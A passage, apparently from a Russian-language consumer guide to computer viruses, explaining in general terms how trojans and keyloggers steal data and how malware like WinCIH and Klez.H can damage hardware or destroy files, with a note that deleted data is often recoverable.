"Троянские кони", ворующие ценную информацию, могут либо отправлять ее на чей-нибудь электронный ящик -- это становится возможным в случае подключения вашего компьютера к сети Интернет, либо сохранять всю информацию в текстовый или иного формата файл. Следует иметь в виду, что второй вариант говорит о том, что человеку, заразившему ваш компьютер "троянским конем", обязательно нужно будет получить доступ к вашему компьютеру, чтобы скопировать этот файл. Доступ к компьютеру возможен либо локальный (например, в ваше отсутствие), либо по локальной сети, если таковая имеется.

Отдельной категорией стоят так называемые клавиатурные шпионы. Они не только могут привести к утечке паролей и кодов, но и вообще всей информации, которую вы вводите в компьютер при помощи клавиатуры.

· Вирусы способны испортить компоненты компьютера

Да, действительно, существует категория вирусов, способных привести в негодность один или сразу несколько компонентов компьютера, например, материнскую плату. Такое стало возможным после того, как стали применять так называемую FLASH-память, которая позволяет при помощи обычных программ изменять ее содержимое. При этом запись в микросхему FLASH-памяти не программного кода, а случайного "мусора", приводит к невозможности использования данного оборудования. Наиболее ярким примером подобных вирусов является WinCIH или его более опасный потомок I.Worm.Magistr.

· Вирусы приводят к потере информации

Да, действительно, существует ряд вирусов, приводящих в негодность, например, все файлы с расширением DOC, TXT (вирус под названием KLEZ.H). Также существует ряд вирусов, уничтожающих файловую систему, что приводит к потере абсолютно всех файлов на диске. Правда, следует иметь в виду, что в большинстве случаев все-таки имеется возможность восстановления информации. Дело в том, что физически стереть информацию с целого жесткого диска объемом хотя бы 1 Гбайт довольно не просто, поэтому большая часть вирусов уничтожает ссылки на всю информацию, а не сами данные. Иногда вполне достаточно воспользоваться программой UNERASE или UNDELETE, чтобы восстановить большую часть данных.